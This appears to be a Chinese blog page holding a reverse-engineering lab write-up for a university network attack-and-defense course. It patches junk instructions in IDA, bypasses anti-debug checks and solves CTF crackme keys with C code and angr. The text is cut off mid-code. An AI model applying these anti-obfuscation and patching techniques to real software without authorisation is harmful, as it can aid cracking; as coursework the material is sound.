6ee9c7cdf3d6da715bcb5327e216a23967902a53eb4224feff10b195735966b7894de564b2916c11208f21822035a8468539c2ec8b43f6c4da24d72d392358041eb44ea4894b825fbf8294fbba36c98694c98fe29b9958e5982f46eeb1bc7ee3f68bc359bc8bc1937796a961d14c639a2994d1e9827143552d3dd90afc7053eac93525c95a1562dd2ee74a2c8607751c0544aecb6ee988f58021c3717ed56f8ffb981a81d5e1c5de32d2cf6d20565f3a719c129d8bcffc4c8a4874bc95108c813c7e881ef05e1a2c6c84e679aef550004190938e21319e58dd3f782e1031bef9bca0c090a288af09db634f2b25cf3e852d233ac3eb2cce02343ad63cbd52dd444856cd8df2fd9128c103d913133506b062f51b899a85e5ad682cbe37af9c4d66bc6f927a241b560939fbadce0bcffd6c5a18c9a4ac58f6168dbb7891446d02fabb3dbe90ce13ed05a22f5aa7aa50c888491c87fc0ff3d1b4a98b284fc05d781c1427f2391dabcf99c2d9b9b3b9d09d3e632a714cdb3085faf7527055faba7186ee0496045f23a66c81ca87c00ecc3ec9402d8e5339ace569036c6a51f254f1a89ef151a912bd0b38d9903526380f9a9d69604de795064a91dc66681d2effc57f9c4e52b7d00aac00b9b10af5353293576ae5236afba23c43c7e574f487b758fe534d82b65eec8260d30538f62ec8ca1b3a2b146230f3d2085ac6cf56f7ef5dca32c5639e19a9abe079329b39358d00f492d14c5644b57c7b17c9220e28036aba850d8b3af1a982ceb59515e5a6f3d776fa906b378fb7f447409ce19f2725b93cf62f568bdb9e29136bdec858f8742ac15fb52dc1f841d6388adce44adc93810be60f587451be5f0589820a712e7bbc37a23decf24ae52a3ed9d7f271b111879f7b1ca08db5b82ec65c8f071a29e380095eee5597ecca13bea9fca4256407b8f5490a541fab3b740b2829e4211bf975e75c88f5bd6897bad862eee603b0be9f0087652ee0605033d8645c0dd47e27e4400c6c25eeb06026a30803fb5e2b89bcb893198296a1493d7d81cbe77f1c47b9f5a6404fead78349c89369559f1997046f30514393b279482aa555b1978a371c55fe5beb17add2b8839a314ace1d48350e34c9db05b57bf5f34669419346676a9ed0018077fd710d479fddb1569e58a84572c06ba57e7b93fd152692ee2a827f28064f5d5b54f04ca90acf005537f248248e49b3d584a4b4e0b0f6bffdbcd459dbf5bcc7ce736b48472ba7d4992a178788036f17eebdd8d4e7bfe0b625fec4b482ec52e31450492902d046ad3c175bcb99d82ed2924a94888319337b9cd0dea2ec648a960c32b4140c9f0f5ecf86bafa0b210a2b0f5daafb9e7755d47f6f25627957b7e2a590a0b3b9af89e8eb96c284cc541cc46bf80bce0a7ff4cf4a1036d7483e0a37902b28ce821449c9581417234f9bac0e2fd2ab1543e80683cc1f784af27a3938870c30d2d4d0cd9c602261660f151efd3c987c1fdb561fa7d74b1d1a7f8a8d4d6875597010d82ff157bde3802f2edcd5b24df50292c68bdc996b4fb186d90fc3b0cf469a6a20c0766f43c3e64862e2d7ecb12a6517d6c4d220743000b03e0c17480cda7444e3f473074ff0bca16fd86d25ed57f4dd8f75db04c99f6a5898b6210c06144ca66ae8cf8c86c96aa1ef5c16848188f83f8a3a3bf9d4e03b044b6fddf432c3b1249b96a30bf2f18a77fee5dd73dca7abf08325b491c7fd879d21a72d338ac7d3d0fea4cf897d2126611c7dd66bbb07e087336266de964b21b4efef86e6529c5166649a65471a6604494f670fceaa8c07e33db22a53eb18c5b1c52e25a9db73fc4d0e003c64a28f4de9b641ef8e4c3fe19d927361107c43ce633efad1f3e3682b4bee2fc45cc792685d02623e7a40d7965ebfe67577aa6d4b1a0ce1a57c7aa5bf5f9a4d21e76455e9512ec9f285c80e9a595ce44215c24435efa83f360491994a43a7fa967f9f113438b037921d3e49f11c36ccfb5b373861a66fb06586b59da2d467e3fe3be988f6fc636fe9e53a7a9217cff89892d783f31c367f46746f1ea4a689e66d1ddd698f5a4443c5205b32447cc03ee50b6e2dea84adfbfd960952648b1b24fccd093e7f0787daff2f8132eb5f0d619d729f69f96405c6fba00a7e38acbc0bb6a50a8563e561c51d8d5ba091fb18c8ec330fe7212530dc813a79f189b19b545553b8d400ee9adad81cec6f5c1b7d290aa8d52e6d7cb1e024c9b1563d99867799d2679ed3251ee88c0aa213aa772515bebcbcfa028615795a6e493815167fabb93c72f9461f481f052ae0e2a6857ae6f025895484d0cf1328c2af26c730dae80337f89dd0351bbb17e62e76648258d08b0a35f945030566c556a5ec86a7b487dc6c9f48fec07abec33aff3655b0a64e4c4e5882f5e408b40d535d5756ed90a60ee4c6dd70182b583363f35e0d8dde164213848875448f36a2edb62d6c6a255a7962367d9cde04c4a34c3c9ec169cb733a3ab7634fb75c92092424ac6f12972262e59af1297315cf7cffa49208794fde142a2c2ee8daadcab36a1a29a625b76a81c92a4157fb54b4261fa5ade8c22fd5528d33fe5b4970f84ca915b97ceb8eb840891db9ab4e4a20ef78000ea2e729707dfd7e1769578080362dbf7664cfbdb52721f1990033f28d3007cc714bdd7ec7eb2f86888807e9266fa67a392ecd8737edb6d260634959db90aaebca38754931ddb3b131acbee5d616e912cfb9e53aa2a1c978b57a6e1b6ebdbb86cf4a24bb65c9bff9ce9f34b4cb66c887189bff65e8642882a358ca89a9a57987420404ef7eaf66aae6e34ef76aa0fc502b5cd268da454664e7f65d6fc20dc1d1142d319ff2501c7d9b2697e02ecfc0f0e54070b88c585c0c1c5a5d6577b393a393a37a01315b9126aae6a25f99c8272587adc26f73a3437e1cd869655a0df0efd68967c27ffd9cca19526a8bfcf2f285545898a1d072552ca634fee0c344086a49b408fcc2eae64bdcedac4deea8fb29bb24c79d5d7e2bd3e7900e98dcaa52be8a75aa8452869f200eecb12cd10d465ad42628f5d8e91082337035c9777179052fc73437960ca60bb70e6beca43629e0e7140f317b4a88b783781ac1a26229e8d26723006d6160013b4ca8e8a5a2ce5f8a8e64fde03c341004ffd15343b7477b511251d27ea4d8cbfc5a1226306d1532cdb50869c5c2d065412f65dffd9473f7d4d4e6e1cafffb8378480ef0b7468f7bb4cb2b78f5b003f740821d967eca2f5bfff12527c56d4e6a1761e2f9820e403914eeefbd150aed54ebfea4b170a5041a2c5fe7b9db25f9e61497f69227b71eebfd1d00ff25b30c280a8e27e580ae052fb26e6f15549b9e28374a87232f13499ab483496ba917591bbb7598c184497eb0afd1a8dd4c0490664236eb19f0097d4f3e8424637222cf4a7368f7b4bfc668ac08a0df1499b79184c301b8cedb51c3b882e2e6c093378256eae332fd6664ae74cf284f6c1b8592736144d410829df44e91fa776d601ad4f84fb5fbe932eb97b81cebf1600a46e943e5c84552c87df0dc9a2de09d6a2f7b3e52e3eae699b8528c6f45744e710ac8b5dbdf68bd3b5920567cbe1ae3a184ff130aed97d6be622683f31c4847c6c651da715f2ffaec70965e58639d753249d46a4a4ec79b7e98719cab28b77f771955928b601f324e58faf7ab6485e71f10af853752fa8f3b455907e097519349c392cc057845807601037824beeee8da64e8a09156eba4a3fa9673d319e012f98dcf077a0a6af5063fc647d3930841a9d213ed7bac3acfed81660ca0ec312e8cb6c5ac93228dee384b0e6ef086ace4520f09aebd764df18127f7834a7863f6b64daa217910ca0b46ad0bbb74ae4e1a7c2c46aeaf667fd3988fe6af54ca985973d2b2b5553c01403be447af31943d953d47dff390eea28a2586392628cdaf43e0f118976088d0cfcca602df053a5201a9c5666697c3971a2dcbb4682aeb209678769269ea04296963ff259dbd731d5714606335e86820e17bf48271ff7b14debded58757a12029b66413d24da3574696fd17435e0208c6dfea5528f763bd1c03a848f0b6c6296fc61404162d6777dd8d2b77d9cae6d81505304e8587bd93f303f77efb88a72f82047ae5caef4e57f542b387d7af56248abd7ea80ec8f61605b4cfd887a3e2c3c2452be23d774ab063ddd573c78386717c304e78f97429f5c9c63dae49c777a22787b84321560cbb94170d1c8471df440109eec5eadfc865b0bc9edde6de89839c2c643af078cd5d7e1e150d4c139394a764ad7c30ea3d07e1030fba685b4e598f1580a8450e8c539a65cf5da9138e1812565dd7d0be11c8fd0887d24844fe3e34862720a80eac50c8acfe08b5071f68f69ee03bee85c418502a911852d2fc5dbb4df67d2af6b6729fc5c741af5f6c9481f967921bcbfeaf3353c6f906128b6952e8cf74c65a093c7b99402b2e645311423b704b6c5b8f4c6703bb1d4be524219eb1687435507d7def3b524cd2e0cbdd799f29fc744f1955814831e1fa73d99c05bdbf83826cc5ce1cf7eaff528ce1ea5cb816a4a58a470c54777e7d5ca256d84267489fb4bfa475a5c8d68b21ffc72d76539893717fdf1fead18135ead1c788d7f6d6fa7bd9113eaae9618cdd9efd2b0775533a1dd3f46960fa3517c6e45b5ec10a1fb1abd3c2621041a8aca3471282e35798e42dadc4418a607b741fa3008f7e4cb57e4d96b14dc70d723b4cb2ff340c15655473a8b7d4ae97c9c1602fd853ea98d6f3632044de4402ae1191651c9fe14a27206f86ff129f15719e9d038f2c424a6d7dcf2c11ab2384103b6d8c2c90ee5dc1a04e7973d25bfec9a737c765c7ff5f9efb5d2b05b3d2d37ac96f59aa91f4e7821a7b3f0788713df889fa7a096bd4d3aed6d43f856d3a76c8c8cd04496ee1633146b75a0095a52611fabeef61d3e68f3cc7e107efee7e61aab9f6622de6c253d71c2753a8f909e26b5a58f78a9cbc820e6857583168aa5d460fc1ca94cb417f103745fa636096937f0b7ff31fc76827b1c26a63ecff2032c6c7c71040045048389d4d1f1f95d0d0d1b05d0c2cfeac7fa390ae59b106f009bcdae2394e70ed3be4cd3fc26648c87349ffcec5eeb015b9f7eb33959f663da75255b77417f5ea61d6552a8d7c9f124f837706b33d4ba1fabe6bd3c9cd80f5bc83237a824bc445115f91ec9ccf5f6d771549c5c8dfeb413c4f907d7ce00de13d9063451174d33547e3fcd0277d6d5ab1f8a998e122c51ea0430f4a94642cfd48db0a63ea9a5a476bb41f78af5ef81e495b750ece643347ebc5184f497ca4ff7b06c1dd419a76a9e587b9e77db2b19f0ec54b0b5a5756c068e3eea2623b99c3971e7566957aaf7cdf4dd5584930ecf9264b01af8da8e4bbc9d98573982a488619b65a82264e9822912ada103c31d23629753c91781885fc460788491e3534dc7fde3b9825fc984cc9d418cd19cda4ac74b337e7b3ec0ab83a01bedd4606ad303970b15c0e010afd1a592a9db2b0a016b4ef3f126997146c8695d904817826020ecc548bee0295548c2c5e8b1682c071ade25ab57b64dbd4e5fb8aa7aba660540e62c979f4e9dc2b0b5751c9dd23dddb950b18c88ddae9704a0c3a556035c10a656906452e93e5ed9bebe33ebf2d587167a7f1b3c861d3ab270351800ff7b18b1601c90fbab084c8454d0a510c810dcace33f80cd58fa25dc238f9740fc72696f82bd86c3df222b02afc6679c4a4c1d3a3b468b59b6d9917bbabdc673bc686737d06b96e07d7a4256e40644aa12f3b9ccb909fa579370c54d406dd8b6e226547e6b693d5a4c22bd8d44a681504890a4d4bdcd217e0c034ced143f4fbdd198d6d66395c94b9da73b7113aacbd8c6153aaceadbf601102ec4f603e436b81d9aa6ab80ae7621e119305abe00f7704367d3c9d638b04b34a260b7ce690a83838354715a523beacb3562d86b3cf6ed8ab2b48d6edba2a8196018f9ed16b042a55f09a5e6a368e6ef7e74d0bb3d55f82344359aa30b20141f6eeaf6e7e0bf6719a2ee9e9c82d3a08512f2e19502ec49eb791ea527e9a5ea2f63edb1b783fd98dc7a360e1f06cd271bdb1b6651040a26da6f669c31e82b6529f35eda657fa0afff43b2f72663a061d2f000a676e449a5b77797feb05e5142840069d0fb2727ef5d03948256a80bbbf2864259a4747716ca7c59d078d7c318ddebf89eba4f7c1faf5f831d6ec070fa71280b4b970700697972f4b49839571bdf38005449e36f50a7c2b7abe709e82b970149dfffbe0770bca3ac99d785ef63031cf8adaf0db4a8f0cb8268ca0c51ba7be64c9f8e726ddd3f660a0ff0fd401fd31158f5c2a967aeb9c51ece84f7eec61b8b6a7b4f8619daacabdf06d83519e19b392b22aa62afc3a35f1f83c8d94b52968d6824eb99a7bb469fdc9b443506deb4b509b25c75564667db80af65e2e334e91811a6637c03c0bd68573e356afec6e3d67052d61b8a5b59ad8e488789204189a7e1c83cf7fae23aadb6ee16405a3025beb9446b468ef67c955660f213d9bae2904e180cf2049d2372e1771d7215ab141eaa8f8915eaed14dcaef705dddc748a236504a62f4d9744d55f6442267fc30e48db5dcb9dd91d4fe6009689cfc94390b5efbf7e5687db6cd20e824d0b26ae282538ce0bc469e3e6e36fb3042043e1e8e6b0263c0d1721df83d8cdf75cc4f06d240375e3bd9517bf372f89e2526d64fcfd331c17c8e56af30541c4d30d23c197d309eea84367c8bd25f625be36a4b74e42ae24e35ab5c4007af113df0ad43eb901a90336863e125a116342ecdf52988e5f94d11841f674120b38434e6f3490b04dabedbaaa829e993aec2d3159887bbba080971eccfb20f30e13d15924cd747681436ffa57df232a3b8df3aea7d0744db8a8ce9a060c2132dc3f2f1d0fef3c50125a9efcae49e8873bb5bb9239bce6d15aae3bd585868fc38e47893bcbfb730a942f4b72f8ba85fbbcc864f8cd9fbfeebf90571cea5448ec4316d46c6d4ca1ec5dc1adb5e6bc68e6af188a5187b25597bdaacbe3c98db515b2cabe4654e35319a5923b8fdc98e369c17cc429af6db69bc79de4c9eac2d90cb402e9c1834f4e7425db33a51772aa41db06c982456240f3d8a2ccc70caeecdc686f71f63e4ea0415a8b77a942d15133582b07e4dc2ecccd3d6be4512184ac21c3ddcec05c0cb8b343a3bc13b807838103cd1fa126ded04e3e2bae78766bd6d88ef223a4f98fefa8c71715c0cffddb1d44834ed78068b07c39f31f953a391bf45c87cfbda7a0cb05bb8ae8f63895590a7a06cab0b498afc405a63ad409ab3fc799caff0a17e88711f09413271c98b5
Hey, password is required here.
pwn入门-20-pwn.college-UAF及tcache
757d6246220447313784a310f701cd401fb2b1a545efaab207cb22606a616648dce83e31935e07c038d5318312eaf48212207018a1e312f166cabc16419929bd145ba153f22c084516d022044e26141aa82d476546849ee368eef75b9597e23c92a32019c8195ada1008a60d640feeaa
Hey, password is required here.
ucas-高级网络攻防-实验一_逆向
[toc]
加花指令程序分析
程序功能 根据解除花指令,反编译后的代码分析可知,该程序获取用户的一个输入,然后对该输入进行三次运算,每一次都是先将输入与0x1453异或,然后左移一位,得到最后的结果. 如果这个结果等于50138则输出win.
花指令分析首先,在函数列表里没有main函数,但是汇编里面有,说明main函数没有被正确反汇编,这里有问题,
在main前面按p解析函数发现报错,
123456789101112.text:0000000000001257: The function has undefined instruction/data at the specified address.Your request has been put in the autoanalysis queue..text:0000000000001253 jz short label2.text:0000000000001255 jnz short label2.text:0000000000001255 ; ---------------------------------------------------------------------------.text:0000000000001257 db 0E9h
可以发现前面有 jz和jnz,肯定不会执行到1257,1257这里是花指令,改成nop即可
edit - patch program - change word 把E9 改成90 (0x90也就是nop,什么也不执行,往下走 即可)
此时这里还是代表数据,用快捷键c转换成代码,然后再在开头用p转换成函数即可
然后就可以F5反编译
12345678910111213int __cdecl main(int argc, const char **argv, const char **envp){ unsigned int v4; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v5; // [rsp+8h] [rbp-8h] v5 = __readfsqword(0x28u); v4 = 0; printf("Input a number: "); __isoc99_scanf("%d", &v4); if ( (unsigned int)encrypt(v4) == 50138 ) printf("win"); return 0;}
可以开到,关键函数是encrypt,进入这里,发现这里面也有问题,
1234567891011121314151617void __fastcall encrypt(unsigned int a1){ if ( a1 > 0x1000 ) exit(0); JUMPOUT(0x11ECLL);}.text:00000000000011EB loc_11EB: ; CODE XREF: encrypt+58↓j.text:00000000000011EB ; encrypt:loc_11EB↑j.text:00000000000011EB EB FF jmp short near ptr loc_11EB+1 ; Jump.text:00000000000011ED ; ---------------------------------------------------------------------------.text:00000000000011ED C0 FF C8 sar bh, 0C8h ; Shift Arithmetic Right.text:00000000000011F0 8B 45 FC mov eax, [rbp+var_4].text:00000000000011F3 31 45 EC xor [rbp+var_14], eax ; Logical Exclusive OR.text:00000000000011F6 D1 45 EC rol [rbp+var_14], 1 ; Rotate Left.text:00000000000011F9 83 45 F8 01 add [rbp+var_8], 1 ; Add
通过gdb动态调试发现, jmp short near ptr loc_11EB+1 是要跳到00000000000011EC这里,(动态运行的话是0x5555555551ec,要加上装载地址),然后往下解析, 但是在ida里面,由于这条指令的存在,它会从00000000000011ED往后解析,(不太清楚这里面的机制原理),而jump到000011EC这里就jump错了地址,所以反编译有问题.
1234567891011 0x5555555551fd <encrypt+84> cmp dword ptr [rbp - 8], 2 0x555555555201 <encrypt+88> jle encrypt+66 <encrypt+66> ↓ 0x5555555551eb <encrypt+66> jmp encrypt+67 <encrypt+67> ↓► 0x5555555551ec <encrypt+67> inc eax 0x5555555551ee <encrypt+69> dec eax 0x5555555551f0 <encrypt+71> mov eax, dword ptr [rbp - 4] 0x5555555551f3 <encrypt+74> xor dword ptr [rbp - 0x14], eax 0x5555555551f6 <encrypt+77> rol dword ptr [rbp - 0x14], 1 0x5555555551f9 <encrypt+80> add dword ptr [rbp - 8], 1
所以要想解决的话,有多个办法,一个是,jmp 到0000011ED就可以了,将FF改成00,也就再往前走一步,这样就可以了,第二个办法是都改成nop就可以了,让指令往下滑.
反编译结果
123456789101112131415void __fastcall encrypt(unsigned int a1){ char v1; // bh unsigned int v2; // [rsp+14h] [rbp-14h] int i; // [rsp+20h] [rbp-8h] v2 = a1; if ( a1 > 0x1000 ) exit(0); for ( i = 0; i <= 2; ++i ) { v1 >>= 7; v2 = __ROL4__(v2 ^ 0x1453, 1); }}
a1是输入的值,首先a1不能大于4096, 然后v1右移7位,v2 等于 v2和0x1453异或后 左移1位,( rol dword ptr [rbp - 0x14], 1)
最后的结果是50138,逆向推导,右移一位,异或0x1453,这个操作做三次,就得到了答案789
1234567891011121314#include <stdio.h>int main(){ int input = 50138; input >>= 1; input = input ^ 0x1453; input >>= 1; input = input ^ 0x1453; input >>= 1; input = input ^ 0x1453; printf("%d",input); return 0;}
运行截图
re1 asm 得到一个asm.s文件,汇编文件,查看可以知道是由test.c汇编而来,可以选择硬读汇编来解,也可以进行编译成二进制文件后,再反汇编反编译成伪代码进行查看.
gcc asm.s 得到二进制文件 a.out,然后拖进ida进行反编译,得到结果
1234567int __cdecl main(int argc, const char **argv, const char **envp){ if ( a == 29488 ) return puts("you win"); else return puts("you lose");}
re2 bits概要 这是一道ctf的逆向题目,给了二进制文件和远程服务器连接方式.二进制文件是elf 64位,通过给程序一个正确的输入,当验证输入正确的时候,会从flag文件中读取flag.flag文件在远程服务器上,所以在本地调试好后要和服务器进行交互拿到flag.
先对程序进行了逆向分析,对算法进行逆向编写,编写过程比较困难,最后失败.采取爆破的方法,利用angr工具求解.
程序分析程序伪代码1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465void __fastcall __noreturn main(int a1, char **a2, char **a3){ __pid_t v3; // eax __pid_t v4; // ebx int v5; // eax unsigned int v6; // [rsp+0h] [rbp-40h] BYREF unsigned int v7; // [rsp+4h] [rbp-3Ch] unsigned int size; // [rsp+8h] [rbp-38h] unsigned int size_4; // [rsp+Ch] [rbp-34h] void *ptr; // [rsp+10h] [rbp-30h] void *s; // [rsp+18h] [rbp-28h] FILE *stream; // [rsp+20h] [rbp-20h] unsigned __int64 v13; // [rsp+28h] [rbp-18h] v13 = __readfsqword(0x28u); if ( ptrace(PTRACE_TRACEME, 0LL, 1LL, 0LL) < 0 ) { puts("Do not trace me!"); exit(0); } v3 = getpid(); v4 = getsid(v3); if ( v4 != getppid() ) { puts("Do not trace me!"); exit(1); } ptr = 0LL; s = 0LL; v7 = sub_BFA(); stream = fopen("code", "rb"); if ( !stream ) { fwrite("Could not open file code!\n", 1uLL, 0x1AuLL, stderr); exit(1); } fseek(stream, 0LL, 2); size = ftell(stream); fseek(stream, 0LL, 0); ptr = malloc(size); if ( fread(ptr, size, 1uLL, stream) != 1 ) { fwrite("Error reading file code\n", 1uLL, 0x18uLL, stderr); exit(1); } size_4 = sub_C31(v7, size, (__int64)ptr); printf("Your number is %u\n", size_4); printf("Your answer: "); __isoc99_scanf("%d", &v6); v5 = sub_C31(v6, size, (__int64)ptr); if ( size_4 == v5 ) { puts("Congrats!"); s = malloc(0x40uLL); memset(s, 0, 0x40uLL); stream = fopen("flag.txt", "rb"); fgets((char *)s, 64, stream); puts((const char *)s); free(s); exit(0); } puts("Thanks for coming!"); free(ptr); exit(0);}
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788__int64 __fastcall sub_C31(unsigned int a1, int size, __int64 ptr){ int v3; // eax int v4; // eax unsigned __int8 v7; // [rsp+13h] [rbp-1Dh] unsigned __int8 v8; // [rsp+13h] [rbp-1Dh] unsigned __int8 v9; // [rsp+13h] [rbp-1Dh] unsigned __int8 v10; // [rsp+13h] [rbp-1Dh] unsigned __int8 v11; // [rsp+13h] [rbp-1Dh] char v12; // [rsp+13h] [rbp-1Dh] int v13; // [rsp+14h] [rbp-1Ch] unsigned int v14; // [rsp+18h] [rbp-18h] unsigned int v15; // [rsp+1Ch] [rbp-14h] int v16; // [rsp+20h] [rbp-10h] int v17; // [rsp+24h] [rbp-Ch] int i; // [rsp+28h] [rbp-8h] v17 = 0; v16 = 0; v15 = 0; v14 = 0; v13 = 0; for ( i = 0; i < size; ++i ) { v7 = *(_BYTE *)(i + ptr); if ( (v7 & 1) != 0 ) { a1 ^= dword_202020[v13]; v13 = ((_BYTE)v13 + 1) & 0xF; } v8 = v7 >> 1; v3 = v8 & 3; if ( v3 == 2 ) { v15 = dword_202020[v13] & 0xAABBCCDD; v13 = ((_BYTE)v13 + 1) & 0xF; v9 = v8 >> 2; } else if ( v3 == 3 ) { a1 += v14 + v15; v15 = 0; v14 = 0; v9 = v8 >> 2; } else { if ( v3 == 1 ) { v14 = dword_202020[v13] | 0xABCDABCD; v13 = ((_BYTE)v13 + 1) & 0xF; } v9 = v8 >> 2; } if ( (v9 & 1) != 0 ) a1 = ~a1; v10 = v9 >> 1; if ( (v10 & 1) != 0 ) a1 ^= (((a1 << 16) ^ a1) >> 16) ^ (a1 << 16); v11 = v10 >> 1; v4 = v11 & 3; if ( v4 == 2 ) { v17 = dword_202020[v13] - 539034144; v13 = ((_BYTE)v13 + 1) & 0xF; v12 = v11 >> 2; } else if ( v4 == 3 ) { a1 += v16 + v17; v17 = 0; v16 = 0; v12 = v11 >> 2; } else { if ( v4 == 1 ) { v16 = 539034132 * dword_202020[v13]; v13 = ((_BYTE)v13 + 1) & 0xF; } v12 = v11 >> 2; } if ( (v12 & 1) != 0 ) a1 = a1 - (a1 & 7) - (a1 & 7) + 7; } return a1;}
程序执行流程分析
关键流程在于,随机数v7和code经过计算后输出结果.需要根据结果反推随机值.
程序关键算法分析 sub_C31函数对code和随机值v7进行计算,运算过程较为复杂,包含了许多位移运算,与或运算.流程较长.采用直接逆向的方法较为困难.所以采用了angr爆破的方法.
工具使用ida ida用于静态分析,得到反汇编代码.
gdb gdb用于动态分析,在编写利用代码以及分析程序时,可以观察运行到某一行代码时的内存、寄存器等值和状态.
angr angr是一个基于python的二进制分析框架,能够实施动态符号执行,和不同的静态分析.对本题目来说,angr可以对key的各种约束条件进行求解,从而爆破得到key的值.
解题思路减少循环、获取key的完整计算过程 angr对于循环的处理较为复杂和缓慢,所以可以通过在混淆代码中加入输出key的运算过程的代码,得到完整的运算流程.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141#include <stdio.h>#include <stdlib.h>#include <time.h>int hunxiao(int randnum, int size,int *ptr){ int v3; // eax int v4; // eax int v7; // [rsp+13h] [rbp-1Dh] int v8; // [rsp+13h] [rbp-1Dh] int v9; // [rsp+13h] [rbp-1Dh] int v10; // [rsp+13h] [rbp-1Dh] int v11; // [rsp+13h] [rbp-1Dh] char v12; // [rsp+13h] [rbp-1Dh] int v13; // [rsp+14h] [rbp-1Ch] int v14; // [rsp+18h] [rbp-18h] int v15; // [rsp+1Ch] [rbp-14h] int v16; // [rsp+20h] [rbp-10h] int v17; // [rsp+24h] [rbp-Ch] int i; // [rsp+28h] [rbp-8h] v17 = 0; v16 = 0; v15 = 0; v14 = 0; v13 = 0; int dword_202020[16] = {0x24DD20CF, 0x3E4F0354, 0x18B2E85F, 0x2F2CAFB8, 0x5810ADCB,0x42F7FF85, 0x36E0D6C2, 0x5F3EF93F, 0x7F46E74A, 0x44DDC864,0x64959795, 0x39413451, 0x5DC36C45, 0x62037E7E, 0x5AEA541F,0x153F8FAC}; printf("hunxiao里面的输出%p\n",*ptr); //这里输出的有问题 printf("hunxiao里面的输出%p\n",*ptr); //这里输出的有问题 for ( i = 0; i < 2; ++i ) { //v7 = ptr[i]; v7 = *((unsigned char*)(i + (unsigned long long)ptr)); //printf("%02x\n", *(ptr + i)); printf("v7的值:%x\n",v7); //printf("v7 & 1的值%x\n",v7&1); // 看code的每个字节的第一位是否是0,如果是0进行下面操作, if ( (v7 & 1) != 0 ) { randnum ^= dword_202020[v13]; //printf("randnum:%x\n",randnum); v13 = ((unsigned char)v13 + 1) & 0xF;//这句话的作用是把它范围限制在0-15位 //printf("v13:%x\n",v13); } v8 = v7 >> 1; //code字节右移一位, //printf("v8:%x\n",v8); v3 = v8 & 3; // & 11,把v3限制在两位 // 然后根据v3的值进行选择分支运算 if ( v3 == 1 ) { v14 = dword_202020[v13] | 0xABCDABCD; v13 = ((unsigned char)v13 + 1) & 0xF;//这句话的作用是把它范围限制在0-15位 } if ( v3 == 2 ) { v15 = dword_202020[v13] & 0xAABBCCDD; v13 = ((unsigned char)v13 + 1) & 0xF;//这句话的作用是把它范围限制在0-15位 } if ( v3 == 3 ) { randnum += v14 + v15; v15 = 0; v14 = 0; } v9 = v8 >> 2; //三个判断里都有,提出来 //上面那一层判断完之后,再到下面,继续进行乱七八糟的操作 if ( (v9 & 1) != 0 ) randnum = ~randnum; v10 = v9 >> 1; if ( (v10 & 1) != 0 ) randnum ^= (((randnum << 16) ^ randnum) >> 16) ^ (randnum << 16); // 这一段和上面那个好像 v11 = v10 >> 1; v4 = v11 & 3; if ( v4 == 1 ) { v16 = 539034132 * dword_202020[v13]; //0x20210214 v13 = ((unsigned char)v13 + 1) & 0xF;//这句话的作用是把它范围限制在0-15位 } if ( v4 == 2 ) { v17 = dword_202020[v13] - 539034144; //0x20210220 v13 = ((unsigned char)v13 + 1) & 0xF;//这句话的作用是把它范围限制在0-15位 v12 = v11 >> 2; } if ( v4 == 3 ) { randnum += v16 + v17; v17 = 0; v16 = 0; v12 = v11 >> 2; } v12 = v11 >> 2; if ( (v12 & 1) != 0 ) randnum = randnum - (randnum & 7) - (randnum & 7) + 7; } return randnum;}int main(){void *s;FILE *stream;int size;void *ptr;int size_4;int v0 = time(0);srand(v0);int v2 = rand();//printf("%d\n",v2);stream = fopen("./code","rb");fseek(stream, 0, 2);size = ftell(stream);fseek(stream, 0, 0);printf("%s\n",stream);printf("size:%d\n",size);ptr = malloc(size); if ( fread(ptr, size, 1, stream) != 1 ) { fwrite("Error reading file code\n", 1, 0x18, stderr); exit(1); }printf("在外面的输出:%x\n",&ptr); //这里输出的有问题printf("ptr:%p\n",ptr);printf("&ptr:%p\n",&ptr); //&ptr的地址,里面存着ptr的地址,ptr地址里面存着数据size_4 = hunxiao(v2,size,ptr);return 0;}
运行代码,得到key的处理代码
1234567891011121314151617181920212223242526272829303132333435363738394041424344key ^= dword_202020[0];key=~key;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key ^= dword_202020[3];key = key - (key & 7) - (key & 7) + 7;key=~key;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key += 1256252113;key ^= dword_202020[6];key += 636006435;key += 0;key ^= dword_202020[7];key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[10];key=~key;key += 1908961232;key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[12];key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key += 0;key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[14];key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[1];key += 3791846473;key=~key;key = key - (key & 7) - (key & 7) + 7;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7;key=~key;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key += 3767795326;key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[7];key += 371756133;key=~key;key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[8];key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7;
编写key计算代码 需要替换y值
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566#include <stdio.h>unsigned int dword_202020[16] = {0x24DD20CF, 0x3E4F0354, 0x18B2E85F, 0x2F2CAFB8, 0x5810ADCB, 0x42F7FF85, 0x36E0D6C2, 0x5F3EF93F,0x7F46E74A, 0x44DDC864, 0x64959795, 0x39413451, 0x5DC36C45, 0x62037E7E, 0x5AEA541F, 0x153F8FAC};int calc(unsigned int key){key ^= dword_202020[0];key = ~key;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key ^= dword_202020[3];key = key - (key & 7) - (key & 7) + 7;key = ~key;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key += 1256252113;key ^= dword_202020[6];key += 636006435;key += 0;key ^= dword_202020[7];key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[10];key = ~key;key += 1908961232;key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[12];key ^= (((key << 16) ^ 